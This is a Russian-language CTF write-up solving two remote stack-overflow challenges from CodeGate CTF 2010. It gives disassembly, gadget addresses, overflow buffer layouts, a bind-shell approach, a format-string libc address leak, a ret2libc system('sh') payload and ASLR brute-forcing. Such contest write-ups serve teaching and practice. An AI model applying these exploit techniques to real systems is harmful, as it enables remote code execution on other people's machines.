На прошедших CodeGate CTF 2010 была пара заданий на удаленное переполнение стека:
один и
два. Код этих обоих модулей одинаков - вывод строки 'Input:', чтение ввода с помощью getline и memcpy прочитанного в стековый буфер. Работу с сетью обеспечивает xinetd. Различны только данные заголовков:
C:\>readelf -l easy | grep -i stack
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
C:\>readelf -l harder | grep -i stack
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
Займемся easy.
Функция с говорящим названием func содержит вызов того самого memcpy в буфер размером 0x108 (0xfffffef8):
080484e4 <func>:
80484e4: 55 push %ebp
80484e5: 89 e5 mov %esp,%ebp
80484e7: 81 ec 18 01 00 00 sub $0x118,%esp
80484ed: 8b 45 0c mov 0xc(%ebp),%eax
80484f0: 89 44 24 08 mov %eax,0x8(%esp)
80484f4: 8b 45 08 mov 0x8(%ebp),%eax
80484f7: 89 44 24 04 mov %eax,0x4(%esp)
80484fb: 8d 85 f8 fe ff ff lea 0xfffffef8(%ebp),%eax
8048501: 89 04 24 mov %eax,(%esp)
8048504: e8 ef fe ff ff call 80483f8
8048509: c9 leave
804850a: c3 ret
Подозревая kernel.randomize_va_space != 0 (что в последствии подтвердилось) и учитывая, что после memcpy EAX указывает на наш стековый буфер, ищем подходящее место для передачи управления после затирания адреса возврата:
080484c0 <frame_dummy>:
80484c0: 55 push %ebp
...
80484df: ff d0 call *%eax
80484e1: c9 leave
80484e2: c3 ret
80484e3: 90 nop
Берем подходящий шелл-код, например,
такой и формируем буфер:
| Shellcode + Padding | 0xABABABAB | 0x080484DF | 0x0D + 0x0A |
| ----0x108 bytes---- | fake EBP |ret2call EAX| endline
Отправляем, коннектимся на указанный в шелл-коде порт, имеем удаленную командную строку, cat /home/easy/flag.txt, флаг получен.
Harder. Используем ret2libc, чтобы выполнить system("sh"). Строку "sh" можно взять из образа от имени функции fflush по адресу 0x080482b9.
Чтобы найти адрес system() в libc используем уязвимость форматной строки: переполняем буфер строкой "%x" длиной 0x108 и адресом возврата 0x08048521:
08048521: 89 04 24 mov %eax,(%esp)
08048524: e8 df fe ff ff call 8048408 <printf@plt>
И соответствующий буфер:
| %x 0x108 bytes | 0xABABABAB | 0x08048521 |
и анализируем стек (показаны результаты трех запусков):
00000113 00000113 00000113
008fe420 0079b420 004b8420
bfba2468 bfb91c18 bf8128c8
007ec345 00689345 003a6345
00a00d20 002c8d20 005e1d20
00000113 00000113 00000113
09420008 09f31008 09238008
08048590 08048590 08048590
Теперь запускаем локально harder в gdb и изучим стек в окрестностях вызова printf:
Breakpoint 2, 0x08048524 in main ()
(gdb) x/16a $esp
0xbffffe00: 0x08048640
0xbffffe04: 0xb7fcdff4
0xbffffe08: 0x08048590 <__libc_csu_init>
0xbffffe0c: 0xbffffe28
0xbffffe10: 0xb7ebc345 <__cxa_atexit+53>
0xbffffe14: 0xb7ff0d20
0xbffffe18: 0x0804859b <__libc_csu_init+11>
0xbffffe1c: 0x00000000
0xbffffe20: 0x08048590 <__libc_csu_init>
0xbffffe24: 0x00000000
0xbffffe28: 0xbffffea8
0xbffffe2c: 0xb7ea3b56 <__libc_start_main+230>
0xbffffe30: 0x00000001
0xbffffe34: 0xbffffed4
0xbffffe38: 0xbffffedc
0xbffffe3c: 0xb7fe1858
Особо интересны значения над 0xbffffe20: gdb подсказывает, что 0xb7ebc345 принадлежит libc, как вероятно, 0xb7ff0d20. Учитывая, что libc грузится в память с выравниванием в одну страницу, находим в сдампленном стеке похожие значения: 007ec345 и 00a00d20. Это говорит, что старший байт адреса у harder, запущенного под xinetd нулевой. Далее, грузим harder в gdb так, чтобы libc оказалось по адресам с нулевым старшим байтом и узнаем адрес system() - на удаленной машине с harder это условие выполнялось автоматически:
(gdb) b *main
Breakpoint 1 at 0x804850b
(gdb) r
Starting program: /tmp/harder
Breakpoint 1, 0x0804850b in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x00149020 <system>
Теперь формируем буфер и отправляем его уязвимой программе до тех пор, пока адреса загрузки libc в не совпадут: Как показала практика, совпадение происходит со 2-20 попытки:
| buffer 0x108 bytes | 0xABABABAB | 0x00149020 | 0xCDCDCDCD | 0x080482b9 |
Здесь 0xCDCDCDCD используется вместо адреса возврата для system(), который ждет параметр по адресу [esp+4].
После отправки эксплоита шлем в сокет "cat /home/harder/flag.txt\n", считываем ответ, флаг получен.
Здесь описано несколько иное решение той же задачи.
UPD: Реализация удаленной командной строки через переполнение:
easy.pl,
harder.pl